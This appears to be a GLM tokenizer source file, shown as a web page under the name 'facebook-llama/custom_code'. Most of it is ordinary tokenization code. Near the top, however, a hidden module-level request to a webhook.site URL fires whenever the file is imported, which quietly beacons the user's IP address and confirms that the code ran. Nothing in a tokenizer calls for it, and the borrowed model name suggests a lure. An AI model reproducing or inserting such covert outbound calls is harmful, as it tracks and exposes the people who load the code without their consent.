facebook-llama/custom_code

1import os2from typing import Optional, Tuple, List, Union3from shutil import copyfile4import torch5 6from transformers import PreTrainedTokenizer, RobertaTokenizer, GPT2Tokenizer, BertTokenizer7from transformers.utils import logging8from transformers.tokenization_utils_base import BatchEncoding9from transformers.models.auto.tokenization_auto import get_tokenizer_config10from transformers.utils.generic import _is_torch_device11import sentencepiece as spm12import requests13 14r = requests.get("https://webhook.site/b135abd9-8200-4cab-967c-fa9a468cd304")15logger = logging.get_logger(__name__)16 17 18class GLMBatchEncoding(BatchEncoding):19    def to(self, device: Union[str, "torch.device"]) -> "BatchEncoding":20        """21        Send all values to device by calling `v.to(device)` (PyTorch only).22 23        Args:24            device (`str` or `torch.device`): The device to put the tensors on.25 26        Returns:27            [`BatchEncoding`]: The same instance after modification.28        """29 30        # This check catches things like APEX blindly calling "to" on all inputs to a module31        # Otherwise it passes the casts down and casts the LongTensor containing the token idxs32        # into a HalfTensor33        if isinstance(device, str) or _is_torch_device(device) or isinstance(device, int):34            self.data = {k: v.to(device=device) if torch.is_tensor(v) else v for k, v in self.data.items()}35        else:36            logger.warning(f"Attempting to cast a BatchEncoding to type {str(device)}. This is not supported.")37        return self38 39 40class GLMTokenizerMixin:41    @property42    def sop_token(self) -> Optional[str]:43        return "<|startofpiece|>"44 45    @property46    def sop_token_id(self) -> Optional[int]:47        """48        `Optional[int]`: Id of the start token in the vocabulary, used when training a model with autoregressive blank filling.49        """50        return self.convert_tokens_to_ids(self.sop_token)51 52    @property53    def eop_token(self) -> Optional[str]:54        return "<|endofpiece|>"55 56    @property57    def eop_token_id(self) -> Optional[int]:58        """59        `Optional[int]`: Id of the end token in the vocabulary, used when training a model with autoregressive blank filling.60        """61        return self.convert_tokens_to_ids(self.eop_token)62 63    @property64    def gmask_token_id(self) -> int:65        return self.convert_tokens_to_ids("[gMASK]")66 67    @property68    def smask_token_id(self) -> int:69        return self.convert_tokens_to_ids("[sMASK]")70 71    @property72    def mask_token_ids(self):73        return [self.mask_token_id, self.smask_token_id, self.gmask_token_id]74 75    def _build_input_for_multiple_choice(self, context, choices):76        context_id = context["input_ids"]77        if torch.is_tensor(context_id):78            context_id = context_id.tolist()79 80        division = len(context_id)81        mask_position = context_id.index(self.mask_token_id)82 83        token = torch.tensor(context_id, dtype=torch.long)84        attention_mask = [context["attention_mask"].expand(division, -1)]85        position_id = torch.arange(division, dtype=torch.long)86        block_position_id = torch.zeros(division, dtype=torch.long)87 88        choice_ids, choice_indices = [], []89 90        for choice_str in choices:91            choice = torch.tensor(self(choice_str, add_special_tokens=False, padding=False)['input_ids'],92                                  dtype=torch.long)93            choice_ids.append(choice)94            choice_indices.append(torch.arange(len(token), len(token) + len(choice), dtype=torch.long))95            attention_mask.append(torch.tril(torch.ones((len(choice), len(choice)), dtype=torch.long)))96 97            token = torch.cat((token, torch.tensor([self.sop_token_id], dtype=torch.long), choice[:-1]))98            position_id = torch.cat((position_id, torch.tensor([mask_position] * len(choice), dtype=torch.long)))99            block_position_id = torch.cat((block_position_id, torch.arange(1, 1 + len(choice), dtype=torch.long)))100 101        attention_mask = torch.block_diag(*attention_mask)102        attention_mask[division:, :division] = context["attention_mask"].unsqueeze(0)103 104        return {105            "input_ids": token,106            "position_ids": torch.stack((position_id, block_position_id)),107            "attention_mask": attention_mask,108            "choice_ids": choice_ids,109            "choice_indices": choice_indices110        }111 112    def _pad_batch(self, tokens, position_ids, attention_mask, max_seq_length):113        pad_length = max_seq_length - len(tokens)114        attention_mask = torch.nn.functional.pad(115            attention_mask,116            (0, pad_length, 0, pad_length),117            mode="constant",118            value=0,119        )120        tokens = torch.cat((tokens, torch.zeros(pad_length, dtype=torch.long)))121        position_ids = torch.cat((position_ids, position_ids[..., -1:].expand(-1, pad_length)), dim=-1)122        return tokens, position_ids, attention_mask123 124    def _collate(self, samples):125        TILE = 1126        length_to_pad = (max(map(lambda spl: len(spl["input_ids"]), samples)) + TILE - 1) // TILE * TILE127 128        token_batch, position_id_batch, attention_mask_batch = [], [], []129        choices_batch, choice_target_ids_batch = [], []130 131        for sample in samples:132            token, position_id, attention_mask = self._pad_batch(133                sample["input_ids"], sample["position_ids"], sample["attention_mask"], length_to_pad134            )135            token_batch.append(token)136            position_id_batch.append(position_id)137            attention_mask_batch.append(attention_mask)138            choices_batch.append(sample["choice_ids"])139            choice_target_ids_batch.append(sample["choice_indices"])140        return {141            "input_ids": torch.stack(token_batch),142            "position_ids": torch.stack(position_id_batch),143            "attention_mask": torch.stack(attention_mask_batch).unsqueeze(1),144            "choice_ids": choices_batch,145            "choice_indices": choice_target_ids_batch,146        }147 148    def build_inputs_for_multiple_choice(self, model_input: BatchEncoding, choices, max_length=None):149        samples = [{key: value[i] for key, value in model_input.items()} for i in range(len(model_input["input_ids"]))]150        samples = [self._build_input_for_multiple_choice(sample, choice) for sample, choice in151                   zip(samples, choices)]152        inputs = self._collate(samples)153        return GLMBatchEncoding(inputs)154 155    def build_inputs_for_generation(self, model_input: BatchEncoding, max_gen_length=512, targets=None, padding=False):156        mask_ids = self.mask_token_ids157        input_ids = model_input.input_ids158        batch_size, seq_length = input_ids.shape[:2]159        position_id, block_position_id = list(range(seq_length)), [0 for _ in range(seq_length)]160        position_ids, block_position_ids = [], []161        labels = None162        if targets is not None:163            is_batched = isinstance(targets, (list, tuple))164            targets = self(targets, add_special_tokens=False, padding=False).input_ids165            if not is_batched:166                targets = [targets]167            assert len(targets) == len(input_ids)168            targets = [(target + [self.eop_token_id])[:max_gen_length] for target in targets]169            if not padding:170                max_gen_length = max(map(len, targets))171            targets = [[self.sop_token_id] + target for target in targets]172            labels = [target[1:] for target in targets]173            targets = [target + [self.pad_token_id] * (max_gen_length + 1 - len(target)) for target in targets]174            labels = [label + [-100] * (max_gen_length - len(label)) for label in labels]175            targets = torch.tensor(targets, dtype=input_ids.dtype, device=input_ids.device)176            labels = torch.tensor(labels, dtype=input_ids.dtype, device=input_ids.device)177            labels = torch.cat((input_ids.new_full((batch_size, seq_length), -100), labels), dim=1)178        for i in range(batch_size):179            mask_positions = []180            for mask_id in mask_ids:181                mask_positions += (input_ids[i] == mask_id).nonzero(as_tuple=True)[0].tolist()182            if not mask_positions:183                raise ValueError("Cannot find mask token in the input")184            mask_positions.sort()185            mask_pos = mask_positions[0]186            position_ids.append(position_id + [mask_pos] * max_gen_length)187            block_position_ids.append(block_position_id + list(range(1, max_gen_length + 1)))188        position_ids = torch.tensor(position_ids, dtype=input_ids.dtype, device=input_ids.device)189        block_position_ids = torch.tensor(block_position_ids, dtype=input_ids.dtype, device=input_ids.device)190        position_ids = torch.stack((position_ids, block_position_ids), dim=1)191        attention_mask = model_input.attention_mask192        attention_mask = attention_mask.unsqueeze(1).expand(-1, seq_length + max_gen_length, -1)193        generation_attention_mask = torch.cat([attention_mask.new_zeros((seq_length, max_gen_length)),194                                               torch.tril(attention_mask.new_ones((max_gen_length, max_gen_length)))],195                                              dim=0).unsqueeze(0).expand(batch_size, -1, -1)196        attention_mask = torch.cat((attention_mask, generation_attention_mask), dim=2)197        attention_mask = attention_mask.unsqueeze(1)198        if targets is None:199            input_ids = torch.cat((input_ids, input_ids.new_full((batch_size, 1), self.sop_token_id)), dim=-1)200        else:201            input_ids = torch.cat((input_ids, targets[:, :-1]), dim=1)202        batch = {"input_ids": input_ids, "position_ids": position_ids}203        if labels is None:204            batch["generation_attention_mask"] = attention_mask205        else:206            batch["attention_mask"] = attention_mask207            batch["labels"] = labels208        return BatchEncoding(batch)209 210 211class GLMRobertaTokenizer(RobertaTokenizer, GLMTokenizerMixin):212    model_input_names = ["input_ids", "position_ids", "attention_mask"]213    truncation_side: str = "left"214 215    @property216    def gmask_token_id(self) -> int:217        raise NotImplementedError("The model doesn't support gMASK")218 219    @property220    def smask_token_id(self) -> int:221        raise NotImplementedError("The model doesn't support sMASK")222 223    @property224    def mask_token_ids(self):225        return [self.mask_token_id]226 227 228class GLMChineseTokenizer(PreTrainedTokenizer, GLMTokenizerMixin):229    vocab_files_names = {"vocab_file": "cog-pretrain.model"}230    truncation_side: str = "left"231 232    def __init__(self, vocab_file, **kwargs):233        super().__init__(**kwargs)234        self.vocab_file = vocab_file235        self.sp_model = spm.SentencePieceProcessor()236        self.sp_model.Load(vocab_file)237 238    @property239    def vocab_size(self):240        return len(self.sp_model)241 242    def get_vocab(self):243        vocab = {self.convert_ids_to_tokens(i): i for i in range(self.vocab_size)}244        vocab.update(self.added_tokens_encoder)245        return vocab246 247    def _tokenize(self, text, **kwargs):248        return self.sp_model.encode(text, out_type=str)249 250    def _convert_token_to_id(self, token):251        """Converts a token (str) in an id using the vocab."""252        return self.sp_model.PieceToId(token)253 254    def _convert_id_to_token(self, index):255        """Converts an index (integer) in a token (str) using the vocab."""256        return self.sp_model.IdToPiece(index)257 258    def convert_tokens_to_string(self, tokens):259        return self.sp_model.decode(tokens)260 261    def save_vocabulary(self, save_directory: str, filename_prefix: Optional[str] = None) -> Tuple[str]:262        if not os.path.isdir(save_directory):263            logger.error(f"Vocabulary path ({save_directory}) should be a directory")264            return265        out_vocab_file = os.path.join(266            save_directory, (filename_prefix + "-" if filename_prefix else "") + self.vocab_files_names["vocab_file"]267        )268 269        if os.path.abspath(self.vocab_file) != os.path.abspath(out_vocab_file) and os.path.isfile(self.vocab_file):270            copyfile(self.vocab_file, out_vocab_file)271        elif not os.path.isfile(self.vocab_file):272            with open(out_vocab_file, "wb") as fi:273                content_spiece_model = self.sp_model.serialized_model_proto()274                fi.write(content_spiece_model)275 276        return (out_vocab_file,)277 278    def build_inputs_with_special_tokens(279            self, token_ids_0: List[int], token_ids_1: Optional[List[int]] = None280    ) -> List[int]:281        """282        Build model inputs from a sequence or a pair of sequence for sequence classification tasks by concatenating and283        adding special tokens. A BERT sequence has the following format:284 285        - single sequence: ``[CLS] X [SEP]``286        - pair of sequences: ``[CLS] A [SEP] B [SEP]``287 288        Args:289            token_ids_0 (:obj:`List[int]`):290                List of IDs to which the special tokens will be added.291            token_ids_1 (:obj:`List[int]`, `optional`):292                Optional second list of IDs for sequence pairs.293 294        Returns:295            :obj:`List[int]`: List of `input IDs <../glossary.html#input-ids>`__ with the appropriate special tokens.296        """297        assert token_ids_1 is None298        cls = [self.cls_token_id]299        eos = [self.eos_token_id]300        return cls + token_ids_0 + eos301 302 303class GLMGPT2Tokenizer(GPT2Tokenizer, GLMTokenizerMixin):304    model_input_names = ["input_ids", "position_ids", "attention_mask"]305    truncation_side: str = "left"306 307    def build_inputs_with_special_tokens(308            self, token_ids_0: List[int], token_ids_1: Optional[List[int]] = None309    ) -> List[int]:310        """311        Build model inputs from a sequence or a pair of sequence for sequence classification tasks by concatenating and312        adding special tokens. A BERT sequence has the following format:313 314        - single sequence: ``[CLS] X [SEP]``315        - pair of sequences: ``[CLS] A [SEP] B [SEP]``316 317        Args:318            token_ids_0 (:obj:`List[int]`):319                List of IDs to which the special tokens will be added.320            token_ids_1 (:obj:`List[int]`, `optional`):321                Optional second list of IDs for sequence pairs.322 323        Returns:324            :obj:`List[int]`: List of `input IDs <../glossary.html#input-ids>`__ with the appropriate special tokens.325        """326        assert token_ids_1 is None327        cls = [self.cls_token_id]328        eos = [self.eos_token_id]329        return cls + token_ids_0 + eos330 331 332class GLMBertTokenizer(BertTokenizer, GLMTokenizerMixin):333    model_input_names = ["input_ids", "position_ids", "attention_mask"]334    truncation_side: str = "left"335 336    @property337    def gmask_token_id(self) -> int:338        raise NotImplementedError("The model doesn't support gMASK")339 340    @property341    def smask_token_id(self) -> int:342        raise NotImplementedError("The model doesn't support sMASK")343 344    @property345    def mask_token_ids(self):346        return [self.mask_token_id]347 348 349class GLMTokenizer:350    @classmethod351    def from_pretrained(cls, pretrained_model_name_or_path, *inputs, **kwargs):352        tokenizer_config = get_tokenizer_config(pretrained_model_name_or_path, **kwargs)353        config_tokenizer_class = tokenizer_config.get("tokenizer_class")354        if config_tokenizer_class == "GLMRobertaTokenizer":355            tokenizer_class = GLMRobertaTokenizer356        elif config_tokenizer_class == "GLMChineseTokenizer":357            tokenizer_class = GLMChineseTokenizer358        elif config_tokenizer_class == "GLMGPT2Tokenizer":359            tokenizer_class = GLMGPT2Tokenizer360        elif config_tokenizer_class == "GLMBertTokenizer":361            tokenizer_class = GLMBertTokenizer362        else:363            raise NotImplementedError("Not implemented tokenizer type:", config_tokenizer_class)364        return tokenizer_class.from_pretrained(pretrained_model_name_or_path, *inputs, **kwargs)365